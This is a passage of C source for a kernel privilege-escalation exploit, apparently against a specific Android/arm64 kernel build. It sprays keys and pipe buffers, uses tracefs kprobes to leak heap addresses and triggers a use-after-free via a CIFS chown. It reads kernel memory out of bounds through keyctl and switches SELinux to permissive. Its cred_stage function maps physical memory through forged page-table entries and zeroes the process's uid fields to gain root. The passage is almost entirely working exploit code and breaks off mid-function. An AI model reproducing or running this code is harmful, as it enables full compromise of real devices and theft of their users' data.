 * syscall.  PTE[503] and PTE[510] have never been used on this mm, so their
 * first access cannot hit a stale TLB entry.
 */

static void *phys_map_fresh(unsigned long base, uint64_t pa, int idx)
{
	volatile uint64_t *self = (volatile uint64_t *)(base + 8192);

	self[idx] = (pa & ~0xfffULL) | SCOUT_PTE_FLAGS;
	return (void *)(base + (unsigned long)idx * 4096);
}

static int cred_stage(unsigned long base)
{
	uint64_t cred_va, cred_phys, off, cpa;
	uint32_t uid, euid, suid, fsuid;
	char *p;

	if (!g_task_phys) {
		say("E2E cred SKIP no verified task_phys");
		return -1;
	}
	/* say() appends to the root-owned status file; keep it writable
	 * across the privilege drop. */
	chmod(STATUS_FILE, 0666);
	if (setgroups(0, NULL) || setgid(2000) ||
	    setresuid(2000, 2000, 2000)) {
		say("E2E cred FAIL drop errno=%d (%s)", errno, strerror(errno));
		return -1;
	}
	say("E2E cred dropped uid=%d euid=%d gid=%d", (int)getuid(),
	    (int)geteuid(), (int)getgid());
	if (getuid() != 2000 || geteuid() != 2000)
		return -1;
	/* task->cred points at the fresh cred allocated by setresuid.
	 * Map the page holding the pointer itself: when the task_struct
	 * straddles a page boundary the field is not in the comm page. */
	cpa = g_task_phys + TS_CRED_OFF;
	if ((cpa & 0xfffULL) > 4088) {
		say("E2E cred FAIL cred pointer crosses page");
		return -1;
	}
	p = phys_map_fresh(base, cpa, 510);
	off = cpa & 0xfffULL;
	memcpy(&cred_va, p + off, 8);
	if (cred_va < 0xffffff8000000000ULL ||
	    cred_va >= 0xffffffc000000000ULL) {
		say("E2E cred FAIL implausible cred_va=0x%llx",
		    (unsigned long long)cred_va);
		return -1;
	}
	cred_phys = cred_va - PAGE_OFFSET_VA + MEMSTART_ADDR;
	say("E2E cred task_phys=0x%llx cred_va=0x%llx cred_phys=0x%llx",
	    (unsigned long long)g_task_phys, (unsigned long long)cred_va,
	    (unsigned long long)cred_phys);
	off = cred_phys & 0xfffULL;
	if (off > 4096 - 40) {
		say("E2E cred FAIL cred fields cross page off=0x%llx",
		    (unsigned long long)off);
		return -1;
	}
	p = phys_map_fresh(base, cred_phys, 503);
	uid = *(volatile uint32_t *)(p + off + CRED_UID_OFF);
	suid = *(volatile uint32_t *)(p + off + CRED_SUID_OFF);
	euid = *(volatile uint32_t *)(p + off + CRED_EUID_OFF);
	fsuid = *(volatile uint32_t *)(p + off + CRED_FSUID_OFF);
	say("E2E cred before uid=%u euid=%u suid=%u fsuid=%u", uid, euid, suid,
	    fsuid);
	if (uid != 2000 || euid != 2000 || suid != 2000 || fsuid != 2000) {
		say("E2E cred FAIL not the dropped cred");
		return -1;
	}
	*(volatile uint32_t *)(p + off + CRED_UID_OFF) = 0;
	*(volatile uint32_t *)(p + off + CRED_SUID_OFF) = 0;
	*(volatile uint32_t *)(p + off + CRED_EUID_OFF) = 0;
	*(volatile uint32_t *)(p + off + CRED_FSUID_OFF) = 0;
	uid = *(volatile uint32_t *)(p + off + CRED_UID_OFF);
	suid = *(volatile uint32_t *)(p + off + CRED_SUID_OFF);
	euid = *(volatile uint32_t *)(p + off + CRED_EUID_OFF);
	fsuid = *(volatile uint32_t *)(p + off + CRED_FSUID_OFF);
	say("E2E cred after uid=%u euid=%u suid=%u fsuid=%u getuid=%d geteuid=%d",
	    uid, euid, suid, fsuid, (int)getuid(), (int)geteuid());
	if (uid || euid || suid || fsuid || getuid() || geteuid()) {
		say("E2E cred FAIL");
		return -1;
	}
	say("E2E cred ESCALATED uid=%d euid=%d", (int)getuid(), (int)geteuid());
	return 0;
}

int main(int argc, char **argv)
{
	const char *dir = argc > 1 ? argv[1] : NULL;
	int first = argc > 2 ? atoi(argv[2]) : 195;
	int merge = argc > 3 ? atoi(argv[3]) : 1;
	int key_n = argc > 4 ? atoi(argv[4]) : 8192;
	int obs_n = argc > 5 ? atoi(argv[5]) : 1200;
	int hit_n = argc > 6 ? atoi(argv[6]) : 2000;
	int cpu1 = argc > 7 ? atoi(argv[7]) : 7;
	int cpu2 = argc > 8 ? atoi(argv[8]) : 0;
	uint64_t qd_caller = 0;
	const char *mode = "";
	int lifo, cred_mode, scout;

	if (argc > 9) {
		const char *a9 = argv[9];

		if (!strcmp(a9, "lifo") || !strcmp(a9, "scout") ||
		    !strcmp(a9, "cred")) {
			mode = a9;
		} else {
			qd_caller = strtoull(a9, NULL, 16);
			if (argc > 10)
				mode = argv[10];
		}
	}
	lifo = !strcmp(mode, "lifo");
	cred_mode = !strcmp(mode, "cred");
	scout = !strcmp(mode, "scout") || cred_mode;
	unsigned int sid_id = 12350;

	/* The scout identifies this task by its comm; set it explicitly so the
	 * marker does not depend on argv[0]. */
	prctl(PR_SET_NAME, "cve97555", 0, 0, 0);
	long *serials = NULL;
	uint64_t *key_addr = NULL, *obs_addr = NULL;
	struct keyent *keys = NULL;
	struct addrent *hits = NULL;
	int (*obs)[2] = NULL;
	int (*hit)[2] = NULL;
	int (*tgt)[2] = NULL;
	unsigned char *dump = NULL;
	size_t dlen = 0;
	uint64_t page = 0, slide = 0;
	int victim_idx = -1, obs_idx = -1;
	int i, j, made = 0, ntgt = 0, target_ok = 0;
	int hunt_cands = 0;
	int cush1_idx = -1, cush2_idx = -1;
	int lxs_idx[5];
	uint64_t lxs_addr[5];
	int lxn = 0;
	int tpos[8], thitpos[8];
	uint64_t X = 0, K = 0, A = 0;
	uint64_t cush1_addr = 0, cush2_addr = 0;
	uint64_t *taddr = NULL;
	char leak_path[PATH_MAX], trig_path[PATH_MAX];
	char ev_kre[64], ev_pre[64], ev_pal[64], ev_sd[64], ev_km[64];
	char ev_qd[64], ev_kfr[64], ev_kmn[64], ev_kmt[64], ev_ks[64];
	char ev_kca[64], ev_kma[64], ev_kmf[64], ev_kmx[64], ev_gal[64];
	char ev_pteg[64], ev_galg[64], ev_frp[64];
	char ev_fp[64], ev_gpr[64], ev_fpi[64], ev_frp2[64], ev_frpc[64];
	char ev_prl[64], ev_ppi[64];
	char tag_kre[80], tag_pre[80], tag_pal[80], tag_sd[80], tag_km[80];
	char tag_qd[80], tag_kfr[80], tag_kmn[80], tag_kmt[80], tag_ks[80];
	char tag_kca[80], tag_kma[80], tag_kmf[80], tag_kmx[80], tag_gal[80];
	char tag_pteg[80], tag_galg[80], tag_frp[80];
	char tag_fp[80], tag_gpr[80], tag_fpi[80], tag_frp2[80], tag_frpc[80];
	char tag_prl[80], tag_ppi[80];
	uint64_t c512 = 0;
	char *tr = NULL;
	size_t trlen = 0;
	void *map = NULL;
	unsigned long base = 0, pre = 0;
	struct timespec ts;

	if (!dir || key_n < 1 || key_n > MAX_KEYS || obs_n < 1 ||
	    obs_n > MAX_OBS || hit_n < 1 || hit_n > MAX_HIT ||
	    first < 0 || cpu1 < 0 || cpu2 < 0 ||
	    (merge != 0 && merge != 1)) {
		printf("usage: %s <mount-dir> [first] [merge] [keys] [obs] "
		       "[hit] [cpu1] [cpu2] [qd-caller] [scout|cred|lifo]\n", argv[0]);
		return 2;
	}
	snprintf(leak_path, sizeof(leak_path), "%s/f%d", dir, first);
	snprintf(trig_path, sizeof(trig_path), "%s/f%d", dir, first + 1);
	g_pid = (int)getpid();
	snprintf(g_status, sizeof(g_status), "%s", STATUS_FILE);
	say("E2E start pid=%d uid=%d merge=%d dir=%s keys=%d obs=%d hit=%d",
	    g_pid, (int)getuid(), merge, dir, key_n, obs_n, hit_n);
	raise_nofile();

	{
		FILE *f = fopen("/proc/version", "r");
		char v[512] = "";

		if (f) {
			if (!fgets(v, sizeof(v), f))
				v[0] = 0;
			fclose(f);
		}
		if (!strstr(v, EXP_KERNEL_MATCH)) {
			say("E2E FAIL kernel mismatch: %s (expected %s)",
			    v, EXP_KERNEL_MATCH);
			goto keepalive;
		}
	}
	if (trace_init()) {
		say("E2E FAIL no writable tracefs");
		return 1;
	}
	set_permissive();

	serials = calloc((size_t)key_n, sizeof(*serials));
	key_addr = calloc((size_t)key_n, sizeof(*key_addr));
	obs_addr = calloc((size_t)obs_n, sizeof(*obs_addr));
	keys = calloc((size_t)key_n, sizeof(*keys));
	hits = calloc((size_t)MAX_HIT, sizeof(*hits));
	obs = calloc((size_t)obs_n, sizeof(*obs));
	hit = calloc((size_t)MAX_HIT, sizeof(*hit));
	tgt = calloc(MAX_TARGETS, sizeof(*tgt));
	taddr = calloc(MAX_TARGETS, sizeof(*taddr));
	dump = malloc(65536);
	if (!serials || !key_addr || !obs_addr || !keys || !hits || !obs ||
	    !hit || !tgt || !taddr || !dump)
		goto keepalive;

	/* ---------- stage 1: leak ---------- */

	if (preload_leak_sid(12345)) {
		say("E2E FAIL leak sid preload");
		goto keepalive;
	}
	say("E2E preload leak id=12345");

	pin_cpu(cpu1);

	snprintf(ev_kre, sizeof(ev_kre), "kre%d", g_pid);
	snprintf(ev_pre, sizeof(ev_pre), "pre%d", g_pid);
	snprintf(ev_pal, sizeof(ev_pal), "pal%d", g_pid);
	snprintf(ev_sd, sizeof(ev_sd), "sd%d", g_pid);
	snprintf(ev_km, sizeof(ev_km), "km%d", g_pid);
	snprintf(ev_qd, sizeof(ev_qd), "qd%d", g_pid);
	snprintf(ev_kfr, sizeof(ev_kfr), "kfr%d", g_pid);
	snprintf(ev_kmn, sizeof(ev_kmn), "kmn%d", g_pid);
	snprintf(ev_kmt, sizeof(ev_kmt), "kmt%d", g_pid);
	snprintf(ev_ks, sizeof(ev_ks), "ks%d", g_pid);
	snprintf(ev_kca, sizeof(ev_kca), "kca%d", g_pid);
	snprintf(ev_kma, sizeof(ev_kma), "kma%d", g_pid);
	snprintf(ev_kmf, sizeof(ev_kmf), "kmf%d", g_pid);
	snprintf(ev_kmx, sizeof(ev_kmx), "kmx%d", g_pid);
	snprintf(ev_gal, sizeof(ev_gal), "gal%d", g_pid);
	snprintf(ev_pteg, sizeof(ev_pteg), "pteg%d", g_pid);
	snprintf(ev_galg, sizeof(ev_galg), "galg%d", g_pid);
	snprintf(ev_frp, sizeof(ev_frp), "frp%d", g_pid);
	snprintf(ev_fp, sizeof(ev_fp), "fp%d", g_pid);
	snprintf(ev_gpr, sizeof(ev_gpr), "gpr%d", g_pid);
	snprintf(ev_fpi, sizeof(ev_fpi), "fpi%d", g_pid);
	snprintf(ev_frp2, sizeof(ev_frp2), "frp2%d", g_pid);
	snprintf(ev_frpc, sizeof(ev_frpc), "frpc%d", g_pid);
	snprintf(ev_prl, sizeof(ev_prl), "prl%d", g_pid);
	snprintf(ev_ppi, sizeof(ev_ppi), "ppi%d", g_pid);
	snprintf(tag_kre, sizeof(tag_kre), "%s:", ev_kre);
	snprintf(tag_pre, sizeof(tag_pre), "%s:", ev_pre);
	snprintf(tag_pal, sizeof(tag_pal), "%s:", ev_pal);
	snprintf(tag_sd, sizeof(tag_sd), "%s:", ev_sd);
	snprintf(tag_km, sizeof(tag_km), "%s:", ev_km);
	snprintf(tag_qd, sizeof(tag_qd), "%s:", ev_qd);
	snprintf(tag_kfr, sizeof(tag_kfr), "%s:", ev_kfr);
	snprintf(tag_kmn, sizeof(tag_kmn), "%s:", ev_kmn);
	snprintf(tag_kmt, sizeof(tag_kmt), "%s:", ev_kmt);
	snprintf(tag_ks, sizeof(tag_ks), "%s:", ev_ks);
	snprintf(tag_kca, sizeof(tag_kca), "%s:", ev_kca);
	snprintf(tag_kma, sizeof(tag_kma), "%s:", ev_kma);
	snprintf(tag_kmf, sizeof(tag_kmf), "%s:", ev_kmf);
	snprintf(tag_kmx, sizeof(tag_kmx), "%s:", ev_kmx);
	snprintf(tag_gal, sizeof(tag_gal), "%s:", ev_gal);
	snprintf(tag_pteg, sizeof(tag_pteg), "%s:", ev_pteg);
	snprintf(tag_galg, sizeof(tag_galg), "%s:", ev_galg);
	snprintf(tag_frp, sizeof(tag_frp), "%s:", ev_frp);
	snprintf(tag_fp, sizeof(tag_fp), "%s:", ev_fp);
	snprintf(tag_gpr, sizeof(tag_gpr), "%s:", ev_gpr);
	snprintf(tag_fpi, sizeof(tag_fpi), "%s:", ev_fpi);
	snprintf(tag_frp2, sizeof(tag_frp2), "%s:", ev_frp2);
	snprintf(tag_frpc, sizeof(tag_frpc), "%s:", ev_frpc);
	snprintf(tag_prl, sizeof(tag_prl), "%s:", ev_prl);
	snprintf(tag_ppi, sizeof(tag_ppi), "%s:", ev_ppi);
	{
		char spec[512];

		snprintf(spec, sizeof(spec),
			 "%s user_preparse+0x%x kp=%%x0", ev_kre,
			 USER_PREPARSE_RET);
		if (probe_add(spec) ||
		    probe_filter(ev_kre, "common_pid == %d", g_pid) ||
		    probe_enable(ev_kre, 1)) {
			say("E2E FAIL kre probe");
			goto keepalive;
		}
		snprintf(spec, sizeof(spec),
			 "%s pipe_resize_ring+0x%x kp=%%x0", ev_pre,
			 PIPE_RESIZE_RET);
		if (probe_add(spec) ||
		    probe_filter(ev_pre, "common_pid == %d", g_pid) ||
		    probe_enable(ev_pre, 1)) {
			say("E2E FAIL pre probe");
			goto keepalive;
		}
		snprintf(spec, sizeof(spec),
			 "%s id_mode_to_cifs_acl+0x180 kp=%%x0", ev_sd);
		if (probe_add(spec) ||
		    probe_filter(ev_sd, "common_pid == %d", g_pid) ||
		    probe_enable(ev_sd, 1)) {
			say("E2E FAIL sd probe");
			goto keepalive;
		}
		snprintf(spec, sizeof(spec),
			 "%s __kmalloc_noprof size=%%x0 flags=%%x1 caller=%%lr",
			 ev_km);
		if (probe_add(spec) ||
		    probe_filter(ev_km, "size > 256 && size <= 512")) {
			say("E2E FAIL km probe");
			goto keepalive;
		}
		snprintf(spec, sizeof(spec),
			 "%s __kmalloc_node_noprof size=%%x0 flags=%%x1 caller=%%lr",
			 ev_kmn);
		if (probe_add(spec) ||
		    probe_filter(ev_kmn, "size > 256 && size <= 512") ||
		    probe_enable(ev_kmn, 0))
			say("E2E WARN kmn probe failed");
		snprintf(spec, sizeof(spec),
			 "%s __kmalloc_node_track_caller_noprof size=%%x0 flags=%%x1 caller=%%lr",
			 ev_kmt);
		if (probe_add(spec) ||
		    probe_filter(ev_kmt, "size > 256 && size <= 512") ||
		    probe_enable(ev_kmt, 0))
			say("E2E WARN kmt probe failed");
		snprintf(spec, sizeof(spec),
			 "%s __kmalloc_cache_noprof s=%%x0 flags=%%x1 size=%%x2 caller=%%lr",
			 ev_kca);
		if (probe_add(spec) ||
		    probe_filter(ev_kca,
				 "size > 256 && size <= 512 && common_pid == %d",
				 g_pid) ||
		    probe_enable(ev_kca, 0))
			say("E2E WARN kca probe failed");
		snprintf(spec, sizeof(spec),
			 "%s kmem_cache_alloc_noprof s=%%x0 flags=%%x1",
			 ev_kma);
		if (probe_add(spec) ||
		    probe_filter(ev_kma, "common_pid == %d", g_pid) ||
		    probe_enable(ev_kma, 0))
			say("E2E WARN kma probe failed");
		snprintf(spec, sizeof(spec),
			 "%s kmem_cache_free s=%%x0 x=%%x1", ev_kmf);
		if (probe_add(spec) ||
		    probe_filter(ev_kmf, "common_pid == %d", g_pid) ||
		    probe_enable(ev_kmf, 0))
			say("E2E WARN kmf probe failed");
		snprintf(spec, sizeof(spec),
			 "%s __kmalloc_noprof+0xb8 s=%%x22 size=%%x19 flags=%%x20 caller=%%x21 idx=%%x23",
			 ev_kmx);
		if (probe_add(spec) ||
		    probe_filter(ev_kmx, "common_pid == %d", g_pid) ||
		    probe_enable(ev_kmx, 1)) {
			say("E2E WARN kmx probe failed");
		}
		if (qd_caller) {
			snprintf(spec, sizeof(spec),
				 "%s 0x%llx kp=%%x0", ev_qd,
				 (unsigned long long)qd_caller);
			if (probe_add(spec) ||
			    probe_filter(ev_qd, "common_pid == %d", g_pid) ||
			    probe_enable(ev_qd, 1)) {
				say("E2E WARN qd probe failed");
				qd_caller = 0;
			} else {
				say("E2E qd caller=0x%llx",
				    (unsigned long long)qd_caller);
			}
		}
	}
	trace_on(0);
	trace_clear();
	trace_on(1);

	for (i = 0; i < key_n; i++) {
		if (add_key_idx(i, &serials[i]) < 0) {
			say("E2E FAIL key add at %d", i);
			goto keepalive;
		}
	}
	say("E2E keys=%d", key_n);

	for (i = 0; i < obs_n; i++) {
		if (pipe2(obs[i], 0) < 0)
			break;
		if (fcntl(obs[i][0], F_SETPIPE_SZ, 32768) != 32768)
			break;
		if (write(obs[i][1], "AAAAAAAAAAAAAAAA", OBS_WRITE) != OBS_WRITE)
			break;
	}
	made = i;
	say("E2E obs=%d", made);
	if (made != obs_n) {
		say("E2E FAIL obs pipes");
		goto keepalive;
	}

	tr = trace_read(&trlen);
	if (!tr) {
		say("E2E FAIL key/obs trace read");
		goto keepalive;
	}
	{
		int nk = trace_kp_list(tr, tag_kre, key_addr, key_n);
		int no = trace_kp_list(tr, tag_pre, obs_addr, obs_n);
		char *copy = strdup(tr);

		if (copy) {
			char *line = strtok(copy, "\n");
			int shown = 0;

			while (line) {
				if (strstr(line, tag_kmx)) {
					char *p;

					if (shown < 6) {
						shown++;
						say("E2E spray kmx: %.150s",
						    line);
					}
					p = strstr(line, "s=0x");
					if (p && !c512 &&
					    strstr(line, "size=0x200"))
						c512 = strtoull(p + 4, NULL,
								16);
				}
				line = strtok(NULL, "\n");
			}
			free(copy);
		}
		free(tr);
		tr = NULL;
		say("E2E addr parse keys=%d obs=%d kmalloc512=0x%llx", nk, no,
		    (unsigned long long)c512);
		if (nk != key_n || no != obs_n) {
			say("E2E FAIL addr parse");
			goto keepalive;
		}
		probe_enable(ev_kmx, 0);
		if (c512) {
			char expr[160];

			probe_filter(ev_kmx, "idx == 9");
			snprintf(expr, sizeof(expr), "s == 0x%llx",
				 (unsigned long long)c512);
			probe_filter(ev_kma, "%s", expr);
		} else {
			say("E2E WARN no kmalloc512 cache pointer");
		}
	}
	for (i = 0; i < key_n; i++) {
		keys[i].addr = key_addr[i];
		keys[i].serial = serials[i];
	}
	qsort(keys, (size_t)key_n, sizeof(*keys), cmp_key);
	say("E2E keytab n=%d first=0x%llx last=0x%llx", key_n,
	    (unsigned long long)keys[0].addr,
	    (unsigned long long)keys[key_n - 1].addr);

	/* Target hunt: X+0x200 must be a key whose window holds an obs array. */
	probe_enable(ev_kre, 0);
	trace_on(0);
	trace_clear();
	trace_on(1);
	for (i = 0; i < MAX_TARGETS; i++) {
		if (pipe2(tgt[i], 0) < 0)
			break;
		trace_clear();
		if (fcntl(tgt[i][0], F_SETPIPE_SZ, 32768) != 32768)
			break;
		tr = trace_read(&trlen);
		if (!tr)
			break;
		if (trace_kp_last(tr, tag_pre, &X)) {
			free(tr);
			tr = NULL;
			break;
		}
		free(tr);
		tr = NULL;
		taddr[i] = X;
		K = X + 0x200;
		victim_idx = key_index(keys, key_n, K);
		obs_idx = -1;
		if (i < 5)
			say("E2E hunt i=%d X=0x%llx K=0x%llx keyidx=%d", i,
			    (unsigned long long)X, (unsigned long long)K,
			    victim_idx);
		if (victim_idx >= 0 &&
		    obs_in_window(obs_addr, obs_n, K, &A, &obs_idx) == 0) {
			/* the main slot needs two same-slab cushions whose
			 * neighbours are keys: C1 -> MAIN -> C2 */
			uint64_t slab = X & ~(KBYTES_SLAB - 1);
			int ncu = 0, jj;

			for (jj = 0; jj < i; jj++) {
				uint64_t a = taddr[jj];

				if (!a || (a & ~(KBYTES_SLAB - 1)) != slab)
					continue;
				if ((a & (KBYTES_SLAB - 1)) ==
				    KBYTES_SLAB - KBYTES_SLOT)
					continue;
				if (key_index(keys, key_n,
					      a + KBYTES_SLOT) < 0)
					continue;
				ncu++;
			}
			if (ncu >= 2) {
				target_ok = 1;
				break;
			}
			if (i < 8)
				say("E2E main cand i=%d cushions=%d", i,
				    ncu);
		}
	}
	ntgt = i;
	if (!target_ok) {
		say("E2E FAIL no target after %d", ntgt);
		goto keepalive;
	}
	say("E2E target t=%d X=0x%llx K=0x%llx A=0x%llx obs=%d keyidx=%d",
	    ntgt, (unsigned long long)X, (unsigned long long)K,
	    (unsigned long long)A, obs_idx, victim_idx);
	{
		uint64_t slab = X & ~(KBYTES_SLAB - 1);
		int n = 0;

		for (i = ntgt - 1; i >= 0 && n < 5; i--) {
			uint64_t a = taddr[i];

			if (!a || (a & ~(KBYTES_SLAB - 1)) != slab)
				continue;
			if ((a & (KBYTES_SLAB - 1)) ==
			    KBYTES_SLAB - KBYTES_SLOT)
				continue;
			if (key_index(keys, key_n, a + KBYTES_SLOT) < 0)
				continue;
			lxs_idx[n] = i;
			lxs_addr[n] = a;
			n++;
		}
		lxn = n;
		if (lxn < 2) {
			say("E2E FAIL no cushion set after scan");
			goto keepalive;
		}
		cush1_idx = lxs_idx[0];
		cush1_addr = lxs_addr[0];
		cush2_idx = lxs_idx[lxn - 1];
		cush2_addr = lxs_addr[lxn - 1];
	}
	say("E2E plan C1=0x%llx MAIN=0x%llx C2=0x%llx slab=0x%llx",
	    (unsigned long long)cush1_addr, (unsigned long long)X,
	    (unsigned long long)cush2_addr,
	    (unsigned long long)(X & ~(KBYTES_SLAB - 1)));

	if (lifo) {
		long r1, r2, r3;
		int p[3][2];
		uint64_t pa[8];
		int npa, k;

		trace_on(0);
		trace_clear();
		trace_on(1);
		errno = 0;
		r1 = fcntl(tgt[cush1_idx][0], F_SETPIPE_SZ, 16384);
		errno = 0;
		r2 = fcntl(tgt[ntgt][0], F_SETPIPE_SZ, 16384);
		errno = 0;
		r3 = fcntl(tgt[cush2_idx][0], F_SETPIPE_SZ, 16384);
		for (k = 0; k < 3; k++) {
			if (pipe2(p[k], 0) < 0)
				break;
			fcntl(p[k][0], F_SETPIPE_SZ, 32768);
		}
		trace_on(0);
		tr = trace_read(&trlen);
		npa = tr ? trace_kp_list(tr, tag_pre, pa, 8) : -1;
		say("LIFO free rc=%ld/%ld/%ld pre_n=%d",
		    r1, r2, r3, npa);
		for (k = 0; k < npa; k++)
			say("LIFO pre[%d]=0x%llx", k,
			    (unsigned long long)pa[k]);
		say("LIFO C1=0x%llx MAIN=0x%llx C2=0x%llx",
		    (unsigned long long)cush1_addr, (unsigned long long)X,
		    (unsigned long long)cush2_addr);
		if (tr)
			free(tr);
		tr = NULL;
		goto keepalive;
	}

	/* Three-slot free: C1 -> MAIN -> C2 with no userspace syscalls
	 * between the frees and the chown (status writes allocate kernel
	 * objects and would steal the freed slots).  The LIFO head is
	 * C2 -> MAIN -> C1; query_info consumes C2 and the SD takes MAIN. */
	{
		char spec[256], flt[512];
		uint64_t slab = X & ~(KBYTES_SLAB - 1);
		size_t fo = 0;
		int kk;

		for (kk = 0; kk <= lxn; kk++) {
			uint64_t a = kk < lxn ? lxs_addr[kk] : X;

			fo += snprintf(flt + fo, sizeof(flt) - fo,
				       "%sptr == 0x%llx", kk ? " || " : "",
				       (unsigned long long)a);
		}
		snprintf(spec, sizeof(spec), "%s kfree ptr=%%x0", ev_kfr);
		if (probe_add(spec) ||
		    probe_filter(ev_kfr, "%s", flt) ||
		    probe_enable(ev_kfr, 1))
			say("E2E WARN kfr probe failed");
		snprintf(spec, sizeof(spec), "%s kfree ptr=%%x0", ev_ks);
		if (probe_add(spec) ||
		    probe_filter(ev_ks, "ptr >= 0x%llx && ptr < 0x%llx",
				 (unsigned long long)slab,
				 (unsigned long long)(slab + KBYTES_SLAB)) ||
		    probe_enable(ev_ks, 0))
			say("E2E WARN ks probe failed");
		else
			say("E2E ks slab range=0x%llx-0x%llx",
			    (unsigned long long)slab,
			    (unsigned long long)(slab + KBYTES_SLAB));
	}
	probe_enable(ev_km, 1);
	probe_enable(ev_kmn, 1);
	probe_enable(ev_kmt, 1);
	probe_enable(ev_ks, 1);
	probe_enable(ev_kca, 1);
	probe_enable(ev_kma, 1);
	probe_enable(ev_kmf, 1);
	probe_enable(ev_kmx, 1);
	if (qd_caller)
		probe_enable(ev_qd, 1);
	trace_on(0);
	trace_clear();
	trace_on(1);
	{
		long rf[6] = { 0 };
		int ef[6] = { 0 }, nf = 0, kk;
		long rc;
		int ec = 0;

		/* Free order: extras[0..lxn-2], MAIN, extras[lxn-1].  MAIN is
		 * the second-last freed, so h=0 still lands on MAIN; four more
		 * extras cover h up to lxn-1. */
		for (kk = 0; kk < lxn - 1 && nf < 6; kk++) {
			errno = 0;
			rf[nf] = fcntl(tgt[lxs_idx[kk]][0], F_SETPIPE_SZ,
				       16384);
			ef[nf] = errno;
			nf++;
		}
		errno = 0;
		rf[nf] = fcntl(tgt[ntgt][0], F_SETPIPE_SZ, 16384);
		ef[nf] = errno;
		nf++;
		errno = 0;
		rf[nf] = fcntl(tgt[lxs_idx[lxn - 1]][0], F_SETPIPE_SZ, 16384);
		ef[nf] = errno;
		nf++;
		errno = 0;
		rc = chown(leak_path, 12345, 12345);
		ec = errno;
		trace_on(0);
		say("E2E free nf=%d rc=%ld/%ld/%ld/%ld/%ld/%ld e=%d/%d/%d/%d/%d/%d chown=%ld e=%d",
		    nf, rf[0], rf[1], rf[2], rf[3], rf[4], rf[5],
		    ef[0], ef[1], ef[2], ef[3], ef[4], ef[5], rc, ec);
		for (kk = 0; kk < nf; kk++) {
			if (rf[kk] != 16384) {
				say("E2E FAIL free");
				goto keepalive;
			}
		}
		if (rc) {
			say("E2E FAIL leak chown errno=%d", ec);
			goto keepalive;
		}
	}
	{
		uint64_t sda = 0;
		uint64_t q[4] = { 0, 0, 0, 0 };
		int nq = 0, n194 = 0;

		tr = trace_read(&trlen);
		if (tr && trace_kp_last(tr, tag_sd, &sda) == 0) {
			int slot = -1, kk2;

			if (sda == X)
				slot = 0;
			for (kk2 = 0; kk2 < lxn; kk2++)
				if (sda == lxs_addr[kk2])
					slot = 1 + kk2;
			say("E2E sdt sd=0x%llx MAIN=0x%llx sd_is_main=%d slot=%d extras=%d",
			    (unsigned long long)sda, (unsigned long long)X,
			    sda == X, slot, lxn);
		} else {
			say("E2E sdt missing");
		}
		if (tr) {
			char *copy = strdup(tr), *line = strtok(copy, "\n");
			int shown = 0, nkfr = 0, ndiag = 0;

			while (line) {
				if (strstr(line, tag_km) ||
				    strstr(line, tag_kmn) ||
				    strstr(line, tag_kmt)) {
					int lp = -1;

					line_pid(line, &lp);
					if (strstr(line, tag_km) &&
					    lp == g_pid &&
					    strstr(line, "size=0x194"))
						n194++;
					if (shown < 20) {
						say("E2E alloc: %.150s",
						    line);
						shown++;
					}
				} else if (qd_caller &&
					   strstr(line, tag_qd) && nq < 4) {
					char *p = strstr(line, "kp=0x");

					if (p)
						q[nq++] = strtoull(p + 5, NULL,
								   16);
					say("E2E qline: %.150s", line);
				} else if (strstr(line, tag_sd)) {
					say("E2E sline: %.150s", line);
				} else if (strstr(line, tag_kfr) && nkfr < 4) {
					nkfr++;
					say("E2E kfree: %.150s", line);
				} else if (strstr(line, tag_ks)) {
					say("E2E slabfree: %.150s", line);
				} else if (strstr(line, tag_kca) ||
					   strstr(line, tag_kma) ||
					   strstr(line, tag_kmf)) {
					if (ndiag < 40) {
						ndiag++;
						say("E2E diag: %.150s", line);
					}
				} else if (strstr(line, tag_kmx)) {
					if (ndiag < 40) {
						ndiag++;
						say("E2E kmx: %.150s", line);
					}
				}
				line = strtok(NULL, "\n");
			}
			free(copy);
		}
		say("E2E churn n194=%d qd=%d Q1=0x%llx Q2=0x%llx", n194, nq,
		    (unsigned long long)q[0],
		    (unsigned long long)q[1]);
		free(tr);
		tr = NULL;
		probe_enable(ev_km, 0);
		probe_enable(ev_kmn, 0);
		probe_enable(ev_kmt, 0);
		probe_enable(ev_ks, 0);
		probe_enable(ev_kca, 0);
		probe_enable(ev_kma, 0);
		probe_enable(ev_kmf, 0);
		probe_enable(ev_kmx, 0);
		if (qd_caller)
			probe_enable(ev_qd, 0);
	}

	/* Read every freed slot's neighbour key: whichever returns more than
	 * the 488-byte payload is where the SD actually landed.  The victim
	 * key's window then has to hold an observation array. */
	{
		long r = -1;
		uint64_t vkey = 0;
		int sel = -1, kk;

		for (kk = 0; kk <= lxn && sel < 0; kk++) {
			uint64_t a = kk < lxn ? lxs_addr[kk] : X;
			uint64_t ka = a + KBYTES_SLOT;
			int kc = key_index(keys, key_n, ka);
			long ser = kc >= 0 ? keys[kc].serial : -1;
			long rr;

			if (ser < 0)
				continue;
			memset(dump, 0, 65536);
			errno = 0;
			rr = syscall(__NR_keyctl, KEYCTL_READ, ser, dump,
				     65536);
			say("E2E victim idx=%d main=%d key=0x%llx serial=%ld read=%ld errno=%d",
			    kk, kk == lxn, (unsigned long long)ka, ser, rr,
			    errno);
			if (rr == 0xffff) {
				sel = kk;
				vkey = ka;
				r = rr;
			}
		}
		if (sel < 0) {
			say("E2E RESULT FAIL land");
			goto keepalive;
		}
		K = vkey;
		if (obs_in_window(obs_addr, obs_n, K, &A, &obs_idx)) {
			say("E2E WARN victim window has no obs array");
			say("E2E RESULT FAIL land");
			goto keepalive;
		}
		dlen = (size_t)r;
	}
	{
		int fd = open(DUMP_FILE, O_WRONLY | O_CREAT | O_TRUNC, 0644);

		if (fd >= 0) {
			if (write(fd, dump, dlen) != (ssize_t)dlen)
				say("E2E WARN short dump write");
			close(fd);
		}
	}

	{
		size_t off = (size_t)(A - (K + 24));
		uint64_t pg = 0, ops = 0;
		uint32_t o32 = 0, l32 = 0, fl = 0;
		uint64_t pv = 0;
		int ok = 0;

		if (off + 0x28 <= dlen) {
			pg = rd64(dump + off);
			o32 = rd32(dump + off + 8);
			l32 = rd32(dump + off + 12);
			ops = rd64(dump + off + 16);
			fl = rd32(dump + off + 24);
			pv = rd64(dump + off + 32);
			/* The device's vmemmap spans a wider range than a fixed
			 * base/span window (bank-dependent), so only require the
			 * vmemmap top bits and struct page alignment. */
			ok = o32 == 0 && l32 == OBS_WRITE && fl == 0x10 &&
			     pv == 0 && (pg >> 32) == 0xfffffffeULL &&
			     (pg & 0x3f) == 0 &&
			     (ops & 0x1fffffULL) ==
				     (ANON_OPS_STATIC & 0x1fffffULL);
		}
